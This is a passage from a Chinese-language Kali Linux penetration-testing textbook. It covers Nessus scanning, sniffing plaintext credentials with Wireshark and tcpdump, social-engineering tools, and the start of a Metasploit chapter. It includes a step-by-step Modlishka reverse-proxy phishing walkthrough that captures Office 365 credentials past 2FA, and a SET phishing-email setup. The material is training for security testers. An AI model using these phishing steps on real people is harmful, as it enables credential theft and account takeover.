让我们对 Metasploitable 2 虚拟机执行漏洞扫描(您在第一章中了解到的,渗透测试简介)。要启动并运行您的 Metasploitable 2 虚拟机,请使用您的超级管理程序打开metasploitable.vmx(在我的情况下,我正在使用 VMware Fusion)。一旦 Metasploitable 2 加载完成,使用默认用户名和密码msfadmin登录,并发出ifconfig命令以显示虚拟机的 IP 地址,如图 21所示。确保 Kali Linux 与 Metasploitable 在同一个虚拟网络上:

图 21:Metasploitable 2 IP 地址

从 Nessus 管理员门户选择新的扫描。您将看到许多扫描模板。扫描模板是一组预定义的任务,您可以快速利用它们进行特定类型的扫描。一些模板仅在 Nessus 的付费许可版本中可用。对于我们的演示,我们将使用基本网络扫描模板。选择了这个模板后,我们将看到许多选项。

在“设置”选项卡中,在“常规”部分,我们将提供“名称”、“描述”和“目标”字段的输入,如图 22所示:

图 22:Nessus 扫描常规配置

接下来我们要配置的部分是在“发现”部分下,我们将选择的扫描类型是端口扫描(常见端口)。之后,我们将选择“评估”并选择“扫描所有 Web 漏洞(复杂)”选项。最后,我们将点击“保存”。保存扫描后,您将被引导回主管理员页面,在那里您现在可以选择您保存的扫描,然后点击“启动”按钮。您的扫描现在将开始运行,过一会儿,您将看到输出,如图 23所示:

图 23:Nessus 扫描结果

正如我们所看到的,Nessus 在 Metasploitable 2 中发现了许多漏洞。Nessus 按严重性对这些发现进行排序。Nessus 能够提供有关发现的详细信息。例如,通过查看一个关键发现,我们可以看到 Nessus 提供了有关可利用性的信息。它甚至进一步介绍了漏洞可以利用的内容,如图 24所示:

图 24:Nessus 漏洞信息

您可以对 Metasploitable 2 和 3 虚拟机执行 Nessus 扫描。在第五章中,深入了解 Metasploit 框架,您将使用 Nessus 扫描 Metasploitable 3 虚拟机。

Nessus 和 OpenVAS 都是优秀的漏洞扫描工具。重要的是要注意,作为渗透测试人员,了解如何解释漏洞评估结果是一项关键技能。通常,需要手动验证结果,以确保您获得全面的图片并消除任何错误的阳性。

捕获流量

学习如何使用数据包捕获工具对于任何安全专业人员来说都是至关重要的。在本节中,我们将介绍两种数据包捕获工具:Wireshark(基于 GUI)和tcpdump(基于 CLI)。

在我们开始使用这些工具之前,让我们退一步来理解在进行渗透测试时为什么需要捕获流量。网络流量以数据包形式传输,每个数据包包含一些字段,其中包含它需要在网络中传输并执行某个功能所需的信息。进行数据包捕获(或数据包嗅探)将允许你查看数据包的结构,以及任何可用的数据。一些协议流量是未加密的,比如 FTP。这将允许你看到明文中的用户名和密码。

数据包嗅探是一种应用于计算机网络的窃听类型。你可以将其类比为电话窃听,其中一段对话被监听。

Wireshark

Wireshark 一直是全球许多用户进行数据包捕获的首选工具。它是一个跨平台工具,允许你进行数据包捕获和分析。

Wireshark 的一些主要特点如下:

  • 实时数据包捕获与分析(离线分析或即时分析)

  • 深度数据包检查

  • 诸如 SSL/TLS、IPSEC、SNMPv3、Kerberos、WPA/WPA2 等协议的解密支持

在 Wireshark 中,你有能力应用捕获过滤器显示过滤器。理解这两种过滤器之间的区别以及如何应用它们将帮助你捕获相关的数据包并过滤掉噪音。

捕获过滤器用于减少原始数据包捕获的大小,而显示过滤器用于过滤捕获的内容并只显示特定数据。捕获过滤器在捕获开始前应用,不能在捕获过程中更改。另一方面,显示过滤器可以随时应用。

一些捕获过滤器可以非常基本和简单。让我们看几个例子:

  • 捕获特定主机的流量如下:
host 192.168.90.1
  • 捕获特定子网的流量如下:
net 192.168.90.0/24
  • 一些捕获过滤器可以很复杂,比如用于检测心脏出血漏洞的过滤器:
tcp src port 443 and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4] = 0x18) and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 1] = 0x03) and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 2] < 0x04) and ((ip[2:2] - 4 * (ip[0] & 0x0F)  - 4 * ((tcp[12] & 0xF0) >> 4) > 69))

显示过滤器也可以是基本的。让我们看几个例子:

  • 显示特定源和目的地之间通信的流量如下:
ip.src==192.168.90.0/24 and ip.dst==192.168.90.1
  • 查找特定端口的流量使用以下命令:
tcp.port eq 445 

在下面的截图(图 25)中,我标记了定义显示和捕获过滤器的字段:

图 25:显示和捕获过滤器

Wireshark 有能力显示未加密流量中的明文凭据。例如,在捕获 Telnet 流量时,我们可以使用 Follow | TCP Stream 来跟踪 TCP 流,如图 26所示:

图 26:使用 Follow | TCP Stream

请注意,通过使用 Follow | TCP Stream 选项,我们能够看到明文中的用户名和密码,如图 27所示:

图 27:明文的 FTP 凭证

前面的捕获来自packetlife.net/captures。你可以在packetlife.net/captures/Wireshark找到更多可以免费下载以测试 Wireshark 功能的数据包捕获。

使用 Wireshark 的图形界面使得处理数据包捕获更容易。然而,如果你无法使用 Wireshark,那么你需要知道如何利用命令行数据包捕获工具如tcpdump

tcpdump

tcpdump是最广泛使用的数据包捕获实用程序。它在 Linux/Unix 操作系统上可用,这意味着它在 Kali Linux 中默认安装。它有能力将捕获保存到.pcap文件并读取.pcap文件。

tcpdump有许多开关可以使用。它的一些常见开关如下:

  • tcpdump -d:显示接口列表

  • tcpdump -i [interface]:指定要在其上执行数据包捕获的接口

  • tcpdump -c:指定要捕获的数据包数量

  • tcpdump -w /path:定义tcpdump应写入的文件

  • tcpdump -r /path:读取捕获文件

  • tcpdump -XX:以 ASCII 或 HEX 格式捕获数据包

以下是使用tcpdump捕获 FTP 流量的实际示例。使用tcpdump,您可以看到明文中的用户名和密码,如图 28所示:

图 28:明文登录详细信息

您可以通过使用一个公开可访问的ftp服务器来复制前面的测试,该服务器用于速度测试。URL 是speedtest.tele2.net

总结

在本章中,我们看了信息收集和漏洞扫描。我们定义了主动和被动信息收集之间的区别。我们通过各种工具来进行被动和主动信息收集,并介绍了漏洞扫描所需的工具。最后,我们使用图形和命令行工具进行了数据包捕获。

您现在可以使用开源情报进行信息收集,这是被动信息收集。您已经学会了如何使用 Nmap 进行主动信息收集,以及如何利用 Nmap 脚本引擎。您已经掌握了使用漏洞扫描器(如 OpenVAS 和 Nessus)的必要技能,并知道如何执行漏洞扫描以规划攻击。数据包捕获教会了您如何嗅探网络中的流量,以及如何从不安全的协议中获取有价值的信息。

在下一章(第四章,精通社会工程)中,我们将看看什么是社会工程以及您可以使用哪些不同工具来执行社会工程。我们将利用 Kali Linux 中的内置工具,以及一些需要安装的其他工具。

问题

  1. 被动信息收集和主动信息收集之间有什么区别?

  2. 列出两种可用于被动信息收集的工具。

  3. Nmap 如何从传统端口扫描器发展而来?

  4. 列出两种漏洞扫描器。

  5. 为什么您需要知道如何执行数据包捕获?

第四章:掌握社会工程

渗透测试并不总是涉及使用计算机和利用漏洞。在本章中,我们将学习如何掌握社会工程的艺术,这是每个渗透测试人员都应该具备的技能。社会工程可能很复杂,因为你试图使用心理操纵来影响目标的思维。

在本章中,你将受益于了解什么是社会工程,社会工程的不同类型以及可以用来执行社会工程的工具。通过学习如何使用 Kali Linux 内的工具构建社会工程攻击,你将获得技能。通过继续探索和巩固你的社会工程技能,你可以构建一种社会攻击,如果对目标执行得当,可以通过最小的软件漏洞实现你的目标。

随着你在本章的学习过程中,你将了解以下主题:

  • 什么是社会工程?

  • 社会工程工具

  • 创建社会工程活动

技术要求

本章需要以下技术要求:

  • Kali Linux 2019.1

什么是社会工程?

社会工程可以被定义为一种心理操纵形式,说服一个人放弃机密信息。这是一种利用欺骗和欺诈而不是使用任何类型的软件漏洞的网络攻击形式。当然,软件参与了构建社会工程攻击,但主要组成部分是你如何欺骗目标相信你所做的是合法的。

软件和人类实际上并没有那么不同。你可能想知道人类和软件如何如此相似。当涉及到软件和人类的漏洞时,攻击者可以利用这些漏洞来获取他们想要的东西。与软件相关的漏洞通常是被利用的,这导致了软件的缺陷,攻击者可以利用这些缺陷。

对于人类来说,我们的本性使得人们很容易利用心理操纵来攻击其他人。人类有各种情感,这让我们与其他生物有所不同。然而,其中一些情感是社会工程攻击的主要目标。例如,我们有以下情感特征:

  • 帮助他人

  • 信任他人

  • 恐惧

  • 服从权威

社会工程攻击利用我们情感的脆弱性,说服我们执行某种活动,比如点击欺诈链接、访问恶意网站或打开恶意文件。

大多数组织都在培训员工有关社会工程方面投入了大量的精力,但遗憾的是,有些组织没有这样做。无论设置了什么安全控制措施,最终用户最终都将能够访问可能对组织造成伤害的敏感信息。好奇心会导致一个人捡起地上的 USB 并插入,看看里面有什么。在目标组织周围放置感染的 USB 存储设备是一种常见的渗透测试技术,攻击者也会使用这种方法。

社会工程有许多形式,让我们来探索其中一些。

假设

假设可以被定义为以他人身份出现,目的是获取信息的做法。假设者可以冒充同事、IT 人员、银行家、朋友和家人,或者任何被视为值得信赖或对目标有权威的人。

假设形成了任何社会工程攻击的基础。当你进行渗透测试时,确保你花足够的时间建立一个坚实可信的假设。

例如,我们都收到过声称我们继承了一笔小财富的电子邮件,但为了领取它,我们需要提供某种信息或点击一个链接。一个人上当的机会非常渺茫,因为借口非常差。假设您总是在亚马逊上网购,现在您收到了一封来自亚马逊的邮件,声称由于缺少信息无法交付包裹。这样的借口更加可信。

在渗透测试期间,您可能需要模拟社会工程攻击。对目标进行适当的信息收集对构建一个可信的借口至关重要。您需要考虑的一些事情包括公司规模、地点、员工人数、电子邮件、员工信息等。您还需要考虑从技术角度来看有哪些可用的东西,比如面向公众的网络服务器、VPN 和电子邮件服务器。

一旦您获得足够的信息,您可以开始为每个借口定义成功的标准。例如,如果目标组织在全国范围内没有分布办公室,那么假扮成员工的成功几率就很低,因为员工可能是众所周知的。然而,如果该组织在多个国家拥有大量业务,您就有更高的成功率,可以假扮成另一个地点部门的员工。

网络钓鱼

网络钓鱼是一种网络攻击,攻击者使用伪装的电子邮件从目标那里获取敏感信息。获取的信息可以是信用卡详细信息、用户登录信息、网络凭证等任何东西。这种类型的攻击针对个人和大型组织。您可能已经在个人电子邮件中收到了许多网络钓鱼邮件,因为这些攻击是在非常大的规模上进行的。在这种类型的攻击中,攻击者对任何特定的人都不感兴趣。他们只是在广泛地投网,以说服任何不起疑的人提供有价值的信息。

一些网络钓鱼邮件的常见特征如下:

  • 附件:您经常会在声称包含发票或文件的电子邮件中发现附件。这些通常包含一个宏,其中包含一个可以释放远程 shell 的有效负载,使攻击者可以访问您的计算机,甚至释放勒索软件等恶意软件。最近,一些这样的邮件包含.html文件,通常是.doc.js格式。这些文件的杀毒软件检测率较低,因为它们通常不与电子邮件攻击相关联。当然,随着杀毒软件的成熟,攻击者的策略也在不断发展。

  • 超链接:一些网络钓鱼邮件可能包含一个链接,将您重定向到一个看起来合法的网站。常见的网络钓鱼邮件类型包括要求您重置密码,或者确认您的详细信息以避免您的帐户被禁用等。通常,当您将鼠标悬停在链接上时,您会看到实际的 URL,这并非合法,但随着攻击者策略的成熟,他们开始使用看起来非常类似于合法的 URL。例如,www.facebook.com/可能被描述为www.faccebook.comwww.faceboook.com,如果您不仔细观察,很容易被忽略。

  • 好得令人难以置信:许多网络钓鱼邮件中都有旨在吸引人们注意的陈述。这些通常与诱人的优惠有关,比如赢得设备、彩票,或者从远亲那里继承一笔小财富。要记住的一件事是,如果看起来太好以至于难以置信,那可能就是如此。

网络钓鱼工具包在暗网上很容易获得。这些工具包的可用性使得具有最低技能的攻击者可以轻松发动网络钓鱼攻击。网络钓鱼工具包捆绑了网站资源和工具,可以直接安装在服务器上。一旦安装完成,攻击者只需向受害者发送电子邮件,将他们引导到网络钓鱼网站。

要及时了解当前的网络钓鱼链接,请查看 OpenPhish(openphish.com)和 PhishTank(www.phishtank.com)上托管的网络钓鱼信息。

鱼叉式网络钓鱼

鱼叉式网络钓鱼是针对特定个人、部门或公司的网络攻击,看起来来自一个可信任的来源。这种类型的攻击很难被发现,经过深思熟虑,通常在进行此类攻击之前会对目标进行深入研究。这不像普通的网络钓鱼攻击,攻击者会广泛投放网,鱼叉式网络钓鱼是一种有针对性的攻击。

鱼叉式网络钓鱼攻击的核心组成部分是信息收集。收集有关电子邮件地址、人员以及他们在目标组织内的职位的信息(使用 LinkedIn 等 OSINT 工具)将有助于您确定您的目标和您可以冒充的人。正如我们在第三章中所学到的,执行信息收集,开源情报可以为您提供关于目标的大量信息。

一些常见的鱼叉式网络钓鱼攻击特征如下:

  • 商业电子邮件欺诈(BEC):这旨在滥用诸如工资单或发票之类的流程。攻击将利用来自可靠来源(在from字段内)的电子邮件,并包含与发票相关的文件。对于普通人来说,看起来一切正常,他们会打开那张发票,最终暴露他们的系统受到攻击。

  • 多向威胁:这种攻击使用多种攻击向量。例如,鱼叉式网络钓鱼电子邮件将包含动态 URL、恶意下载和文档中编码的有效负载,以避免被检测。

  • 几乎无法检测:由于精心制作的鱼叉式网络钓鱼电子邮件没有大量普通网络钓鱼电子邮件中的特征,使得它更难以被传统的声誉和垃圾邮件过滤器检测到。

  • 鲸鱼式网络钓鱼:在这种类型的攻击中,鱼叉式网络钓鱼活动针对的是高调目标,通常是组织中的高管。高调人士通常比普通人拥有更多的特权信息,这使得他们成为主要目标。在鲸鱼式攻击中窃取的任何信息在黑市上都更有价值,除了攻击者可以使用的特权凭证的可能性之外。

尾随

尾随(也称为搭便车)是一种身体社会工程学形式。尾随可以被定义为未经授权的人跟随经过授权的人进入安全区域的一种物理安全漏洞。

一种常见的尾随类型可能是有人在一个公共区域等待,双手拿满了东西,等待一个授权人员打开一个受控门。在这段时间里,未经授权的人可能会请求他们把门打开,然后他们就可以冲进去。其他形式可能包括在一个公共吸烟区与员工攀谈。等到员工吸完烟,他们很可能会为您开门,假装是员工。人类有常见的礼貌,这可能导致漏洞,比如为未经授权的人开门。

一些组织在物理安全方面做得很好,所以这种方法可能并不适用于所有地方。然而,对目标的物理安全进行充分的信息收集将有助于您计划攻击。

在执行渗透测试时,您可以利用上述任何技术。对每种技术的良好背景了解将有助于您更有效地规划渗透测试。

社会工程工具

互联网上有许多社会工程学工具包可供使用。有些用于执行社会工程任务以形成意识,而其他一些则在暗网上出售以恶意目的。我们不会专注于暗网上的社会工程工具,因为这超出了本书的范围,但我们将看看 Kali Linux 中可用的工具以及您可以安装的其他工具。

社会工程工具包(SET)

社会工程工具包(SET)是一套工具,允许您在进行渗透测试时专注于人的因素。社会工程工具包的主要目的是创建您可以使用的社会工程攻击。该工具是一个由 Python 驱动的工具,目前在 Linux 上受支持。撰写本文时,它正在 macOS 的实验阶段。

社会工程工具包允许您创建多种社会工程攻击。撰写本文时,包括以下攻击:

  • 鱼叉式网络钓鱼攻击:允许您创建电子邮件网络钓鱼活动。

  • 网站攻击:允许您创建网站克隆等攻击。

  • 传染性媒体生成器:可创建可用于 USB 设备的自动运行。

  • 创建有效载荷和监听器:创建反向 shell 有效载荷,允许访问目标机器。

  • 大规模邮件攻击:创建可发送给大量受众的网络钓鱼邮件。

  • 基于 Arduino 的攻击:允许您利用 Arduino 设备(如 Teensy)创建攻击。插入 PC 时,它被检测为键盘,允许将漏洞传递到目标机器。

  • 无线接入点攻击:允许创建恶意无线接入点,并允许您拦截通过的流量。

  • QR 码生成器攻击:生成您指定的任何 URL 的 QR 码。这对将目标重定向到恶意 URL 很有用。

  • Powershell 攻击:创建基于 Powershell 的攻击,可用于执行盲目 shell 或转储 SAM 数据库。

  • 短信欺骗攻击:创建可用于社会工程目标的短信。

撰写本文时,社会工程工具包的当前版本为8.0。Kali Linux 2019.1 中预安装的版本为7.7.9

图 1:Kali 2019.1 中预安装的版本

要升级到最新版本,您需要从 TrustedSec GitHub 存储库下载最新版本,该存储库位于github.com/trustedsec/social-engineer-toolkit

下载完成后,您可以将文件夹的内容从.zip文件提取到/usr/share/set以覆盖必要的文件。完成后,您将能够通过在 Kali Linux 中的终端窗口中运行setoolkit命令来启动最新版本。

社会工程工具包具有大量功能,可用于您的渗透测试。探索它提供的各种技术将有助于您制定有效的网络钓鱼活动。社会工程工具包预装在 Kali Linux 2019.1 中。您可以在终端窗口中使用setoolkit命令访问它。

Gophish

Gophish 是一个开源框架,可用于进行钓鱼活动。它专为企业和渗透测试人员设计。Gophish 是跨平台的,因此您可以在 Windows、macOS 和基于 Linux 的操作系统上运行此工具。Gophish 具有图形界面,使构建钓鱼活动变得简单易行。您可以构建一个活动并安排在您喜欢的时间启动。

Gophish 的一些主要特点如下:

  • 使用模板并创建自己的模板的能力

  • 克隆网站并定义着陆页面

  • 捕获凭证

  • 安排活动

  • 创建有关钓鱼活动的报告

Gophish 未预装在 Kali Linux 中,可在此处下载:github.com/gophish/gophish/releases

Modlishka

Modlishka 将钓鱼活动提升到一个新的水平。它是一个灵活而强大的反向代理,为钓鱼攻击提供了高度自动化。

Modlishka 的目标是做到以下几点:

  • 更加关注进行有效的钓鱼活动的渗透测试人员,以显示钓鱼是一个严重的威胁

  • 查看当前双因素认证2FA)的弱点,并突出这些弱点,以便可以制定解决方案

  • 提高对钓鱼技术的认识

Modlishka 的独特之处在于不需要模板。在其他社会工程工具中,您需要使用模板,甚至构建自己的模板。Modlishka 通过反向代理工作,以便目标网站可以实时打开。

Modlishka 的一些主要特点如下:

  • 支持大多数 2FA 方案

  • 无需创建网站模板,只需将 Modlishka 指向目标域名

  • TLS 源流完全由目标浏览器控制

  • 钓鱼场景易于配置和灵活

  • 能够使用基于模式的 JavaScript 负载注入

  • 剥离加密和安全标头的能力

  • 凭证收集

  • 插件支持

安装 Modlishka 需要Go语言。Go 语言是由 Google 开发的开源编程语言。它使用类似脚本语言的语法,因此易于构建简单、可靠和高效的软件。

我们将在本章后面介绍 Modlishka 的安装。

Wifiphisher

钓鱼不仅涉及特制的电子邮件和附件。WiFi 接入点可以用来对目标发起钓鱼攻击。有大量的无线网络可用,其中许多是开放的,提供免费的互联网访问。Wifiphisher 是一个工具,允许您对无线网络进行自动化的钓鱼攻击,以窃取凭证或释放恶意软件等有效载荷。Wifiphisher 能够使用现代攻击技术,如 KARMA、已知信标和恶意双胞胎:

  • 已知信标:此技术允许 Wifiphisher 广播已知的 ESSIDs

  • KARMA:这是一种技术,Wifiphisher 伪装成公共网络

  • 恶意双胞胎:此技术创建了恶意访问点

Wifiphisher 的一些主要特点如下:

  • 能够在树莓派等设备上运行。

  • 它非常灵活,支持多种参数,并使用社区驱动的钓鱼模板,可用于各种场景。

  • 它允许您编写基于 Python 的简单或复杂模块。Wifiphisher 允许您编写自定义的钓鱼场景,可以在有针对性的渗透测试中利用。

  • 它很简单使用,因为它允许您运行./bin/wifiphisher命令。这将启动一个交互式文本界面,帮助您构建攻击。

以下截图显示了可用的钓鱼场景列表:

图 2:Wifiphisher 中可用的钓鱼场景列表

在撰写本文时,Wifiphisher 目前仅在 Linux 上受支持,Kali Linux 是其官方支持的发行版。为了使用 Wifiphisher,您必须拥有一个能够进行数据包注入并支持监视模式的无线网络卡。我们将在第九章中深入探讨这一点,即开始无线攻击Wifiphisher 不是 Kali Linux 2019.1 的默认安装程序。

可以使用以下命令安装 Wifiphisher:

apt-get install Wifiphisher 

创建社会工程活动

让我们来看看为渗透测试创建一个社会工程活动。在这个活动中,我们将使用 Modlishka 针对 Office 365 用户进行目标定向。

安装 Modlishka

为了使用 Modlishka,我们需要在 Kali Linux 中安装 Go 语言。执行以下步骤进行安装:

  1. 在 Kali Linux 的终端窗口中,发出apt-get install golang命令。这将安装 Go 语言。我们需要使用export GOPATH=$HOME/Downloads/GO命令定义一个GOPATH。为了确认我们设置的路径,我们可以使用echo $GOPATH命令:

图 3:安装 Go 并定义 GOPATH

  1. 接下来,我们需要将 Modlishka 下载到GO文件夹中。我们通过运行go get -u github.com/drk1wi/Modlishka命令来实现这一点。这将开始将 Modlishka 下载到我们在步骤 1中定义的GO文件夹中。如果您使用了前面的命令,那么您的 Modlishka 安装将位于/root/Downloads/go/src/github.com/drk1wi/Modlishka中:

图 4:下载 Modlishka

  1. 现在,我们需要创建 SSL 证书。或者,您可以使用已与您的钓鱼域相关联的证书。在我们创建证书之前,我们需要生成 RSA 私钥。这可以使用openssl genrsa -out ModlishkaCA.key 2048命令完成。在这里,我们生成一个2048位的密钥:

图 5:生成 RSA 私钥

  1. 接下来,我们使用在步骤 3中创建的密钥生成证书。为了创建证书,我们使用openssl req -x509 -new -nodes -key ModlishkaCA.key -sha256 -days 1024 -out ModlishkaCA.pem命令。输入命令后,您将被提示提供有关证书的详细信息。

在这些字段中,您将填写与您要对其执行钓鱼攻击的目标域中所做的类似的详细信息。记得将此证书导入您将用于钓鱼活动的服务器中。在这个演示案例中,我已经将其导入到 Kali Linux 上的 Firefox ESR 中:

图 6:生成 SSL 证书

  1. 现在,您需要将密钥和证书导入 Modlishka 证书配置文件。您可以使用任何文本编辑器打开ModlishkaCA.pemModlishkaCA.key文件。认证配置文件位于GO文件夹中。如果您使用了前面的命令,那么它将位于/root/Downloads/go/src/github.com/drk1wi/Modlishka/plugin/autocert.go中。

  2. 您需要将CA CERT =CA CERT KEY =字段的值分别替换为ModlishkaCA.pemModlishkaCA.key。确保您将每个文件中的数据粘贴在引号内:

图 7:粘贴证书和密钥文件数据

  1. 导入证书后,您需要使用make命令编译工具:

图 8:运行 Modlishka 中 make 命令的输出

现在,该工具已准备好使用。我们将使用默认安装在/templates文件夹中的模板。为了演示的目的,钓鱼网址将保留在 Kali Linux 本地。

在真实的渗透测试中,您可以修改模板文件或创建自己的模板文件。您需要修改字段,如phishingDomainlistening portlisteningAddresstarget等。在此演示中,我们将使用office365.json模板,不做任何更改:

图 9:Office365.json 模板配置

这就完成了 Modlishka 的设置。现在,我们将继续使用 Modlishka 执行钓鱼攻击。

执行攻击

以下步骤演示了如何使用 Modlishka 执行钓鱼攻击:

  1. 现在 Modlishka 已经设置好,让我们使用 Office 365 模板启动程序。可以使用./dist/proxy -config templates/office365.json命令启动 Modlishka。请注意,一旦工具启动,它将为您提供代理地址。如果您已经按照上一节中的步骤进行操作,我们没有定义任何地址,而是使用内置的https://loopback.modlishka.io

图 10:Modlishka 反向代理已启动

  1. 现在,我们可以像用户一样执行登录。我使用了我目前拥有的演示 Office 365 租户。在下面的屏幕截图中,您将注意到呈现的页面是 Office 365 登录页面,但请注意 URL。为了说明的目的,我将其保留为默认的loopback.modlishka.io,但是当您在渗透测试中执行钓鱼攻击时,您将需要拥有一个与目标几乎相同的域名:

图 11:Office 365 登录页面通过 Modlishka 代理

登录过程的工作方式就好像用户正在登录 Office 365 一样,因为用户实际上正在登录 Office 365。Modlishka 充当流量的代理,以便我们可以拦截任何凭据。输入密码后,用户将收到一个 2FA 提示来批准登录。请注意背景窗口中的rewriteResponses

图 12:2FA 通过 Modlishka 代理

  1. 一旦用户批准登录请求,就可以访问 Office 365,并且用户可以继续正常工作。让我们看看 Modlishka 在日志文件中能够检测到什么。在 JSON 配置文件中,我们使用字符串"log": "ms.log"定义了日志文件的名称。这将位于 Modlishka 文件夹的根目录中。通过使用基本的连接命令来查找字段,如"login=""passwd=",我们可以看到用户的凭据以纯文本形式显示:

图 13:纯文本中的凭据

用户名中的%40是 HTML 字符集代码,将被转换为"@"符号。

使用 SET 创建钓鱼攻击

让我们使用社会工程工具包SET)执行简单的钓鱼攻击:

  1. 从终端窗口中,键入setoolkit命令以启动社会工程工具包。

  2. 工具包加载后,我们需要选择选项 5,大规模邮件发送攻击,然后选择选项 1,单个电子邮件地址的电子邮件攻击

图 14:选择大规模邮件发送攻击

  1. 接下来,我们将定义电子邮件的参数。在这里,您可以指定源地址和发件人和收件人的名称,以及附加恶意文件等内容。我们不会附加文件,而是使用恶意的钓鱼链接。该链接是为了说明目的而输入的,但该链接不存在。填写完所有字段后,电子邮件将被发送:

图 15:定义钓鱼电子邮件的参数

互联网上有许多开放中继邮件服务器。您可以使用MailgunSendGrid等服务在自己的环境中进行测试。

请注意,电子邮件已经在目标邮箱中按照我们定义的参数接收到了:

图 16:目标邮箱中收到的恶意电子邮件

社会工程工具包有很多提供,了解各种选项以及如何使用它们将有助于您在渗透测试中计划您的钓鱼活动。请在您自己的实验室环境中探索各种选项。

总结

社会工程实际上归结为利用人类信任他人的本性。它使用依赖于人类弱点而不是软件或硬件弱点的技术。互联网上有许多社会工程工具可供您利用,以便在您的渗透测试中发起社会工程攻击。

在本章中,您已经了解了社会工程学是什么,以及各种类型的社会工程学。我们强调了每种技术的主要特点,并看了看您可以在哪里找到当前存在的最新钓鱼链接的存储库。我们看了一些可以用来创建社会工程活动的常见工具,并致力于创建一个针对 Office 365 的活动。

在下一章(第五章,深入了解 Metasploit 框架)中,我们将开始使用 Metasploit。我们将看看 Metasploit 是什么,您可以用它实现什么,以及如何使用 Metasploit 中的各种漏洞。

问题

  1. 什么是社会工程学?

  2. 社会工程学依靠什么来进行成功的攻击?

  3. 构建社会工程攻击的一个重要基础步骤是什么?

  4. 列举两种社会工程攻击类型。

  5. Modlishka 独有的工具是什么?

第五章:深入了解 Metasploit Framework

Metasploit Framework 是一个使攻击目标机器变得简单的渗透测试平台。它是任何渗透测试人员工具包中不可或缺的直观工具。它由 Rapid7 维护,但在安全社区中有许多贡献者。

在本章中,我们将探索 Metasploit Framework 的模块化和灵活性。由于定期开发新的利用并将其添加到 Metasploit 已经庞大的数据库中,您将学习如何查找和导入这些利用。我们将探索各种有效载荷的选项以及各种 shell 之间的区别。通过使用已经存在的利用,而不是编写自己的利用,可以提高您在 Metasploit 中的技能,使渗透测试变得简单。

随着本章的进行,您将学习以下内容:

  • 介绍 Metasploit

  • 查找模块

  • 添加模块

  • Metasploit 选项 shell 和有效载荷

  • 使用 MSFvenom

技术要求

本章需要以下技术要求:

  • Kali Linux 2019.1

  • Metasploit Framework 版本 5

  • Metasploitable 3 虚拟机

介绍 Metasploit

Metasploit 被归类为世界上使用最广泛的渗透测试软件。它是一个渗透平台,使您能够通过查找、利用和验证漏洞来处理漏洞。它由 Rapid7 维护,并分为两个版本,Metasploit Pro 和社区版称为 Metasploit Framework。当然,Pro 版中有更多的功能,但不容忽视的是社区版中可用的功能。Metasploit Framework 中包含的功能将为您提供足够的知识,以了解如何使用 Metasploit Framework 以及通过利用它在渗透测试中可以实现什么。

Metasploit 的架构是灵活和模块化的,这有助于开发人员在漏洞被公布时创建可工作的利用。Metasploit 的界面直观,并提供了一种运行被安全社区信任的利用代码的方式。与尝试编写自己的利用相比,使用 Metasploit 可以节省您在渗透测试中的时间。正如您在第一章中学到的,渗透测试简介,渗透测试是有时间限制的。因此,花时间编写自己的利用可能会浪费宝贵的时间,这些时间可以用于其他任务。

并非所有的利用都会按设计工作;有些可能会带来更多的危害。在使用互联网上可用的利用时,保持警惕是很重要的。

在 Kali Linux 2019.1 中,Metasploit Framework 的版本是 5。版本 5 引入了一些新功能,例如以下内容:

  • 支持 Go、Python 和 Ruby 语言的模块

  • 新数据库和自动化 API

  • 新的逃避模块和库

  • exploit模块中使用file://选项的多个主机功能

您可以在 Rapid7 的帖子中阅读完整的发布说明:blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released/

在 Metasploit Framework 中存在几种类型的模块,如下所定义:

  • 利用模块:使用利用模块,在目标上执行一系列命令,利用特定的漏洞。通常,这种技术使用已经被发现并公开发布的漏洞来获取对目标的访问权限。利用模块的示例包括代码注入缓冲区溢出和网络上的利用。

  • 辅助模块辅助模块中没有有效载荷。相反,使用与利用不直接相关的随机措施。例如,辅助模块可以执行用户或共享的枚举扫描。模糊器服务器捕获模块是辅助模块的其他示例。

  • 后渗透模块:后渗透模块允许您收集额外信息或提升对目标系统的访问权限。这些模块的一些示例包括哈希转储(我们将在第六章,理解密码攻击中介绍)和服务应用程序枚举器

  • 有效载荷:有效载荷是在成功攻击系统后执行的 shellcode。有效载荷的目的是定义您希望如何连接到目标系统 shell 以及在获得控制后要执行的操作。例如,您可以打开一个 Meterpreter 会话。Meterpreter 是一个具有内存中 DLL 注入的高级有效载荷,因此它永远不会触及磁盘。

  • NOP 生成器:使用 NOP 生成器,您可以创建一个随机字节范围,允许您绕过标准入侵检测和预防设备中的 NOP 滑坡签名。

让我们从一些初始配置步骤开始使用 Metasploit 框架。在 Kali Linux 中的终端窗口中使用命令启动 Metasploit 框架:msfconsole.

更新 Metasploit 框架

过去,更新 Metasploit 框架需要在启动应用程序后运行msfupdate命令。现在 Metasploit 框架默认包含在 Kali Linux 中,您可以通过运行以下命令来更新它:

apt update && apt install metasploit-framework

这将安装最新版本的 Metasploit 框架。

将 Metasploit 框架链接到数据库

Metasploit 提供对支持 PostgreSQL 的后端数据库的支持。

如果您只想运行 Metasploit 框架而不需要数据库,那么您不需要数据库,但如果您想查看您收集的数据,那么创建数据库将非常有用。创建数据库使用以下步骤完成:

  1. 首先,您需要使用 Kali Linux 中的终端窗口使用service PostgreSQL start命令启动 PostgreSQL 服务。

  2. 一旦服务启动,我们需要定义将连接到我们将创建的数据库的 Metasploit 用户名和密码。为了为数据库创建用户名和密码,我们需要迁移到 PostgreSQL 用户。这是使用su postgres命令完成的。您会注意到您的提示现在变成了postgres@kali:~#。现在,我们将使用createuser [name] -P命令创建一个用户。按照提示并定义一个密码。在我的设置中,我使用了msf_user用户名,如下面的截图所示:

图 1:为 PostgreSQL 数据库创建用户

  1. 现在,我们使用created --owner=[name] [database]命令创建数据库。在我的设置中,我使用了msf_user用户名,并且数据库名为msf_database,如下面的截图所示:

图 2:创建数据库并将用户链接到数据库

  1. 接下来,我们将使用msfconsole命令打开 Metasploit 框架。一切加载完成后,我们将使用以下命令连接到刚刚创建的数据库:
 db_connect [username]:[password]@127.0.0.1/[database name] 

例如,我们可以使用db_connect msf_user:password@127.0.0.1/msf_database,如下面的截图所示:

图 3:连接到刚刚创建的数据库

  1. 为了使 Metasploit 自动连接到数据库,我们需要编辑位于/usr/share/metasploit-framework/config/database.yml文件,如下面的截图所示.

在编辑database.yml文件之前,请确保退出 Metasploit 框架。

如果您没有该文件,可以修改示例文件并添加您创建的数据库的详细信息以及用户登录详细信息。将文件保存为database.yml

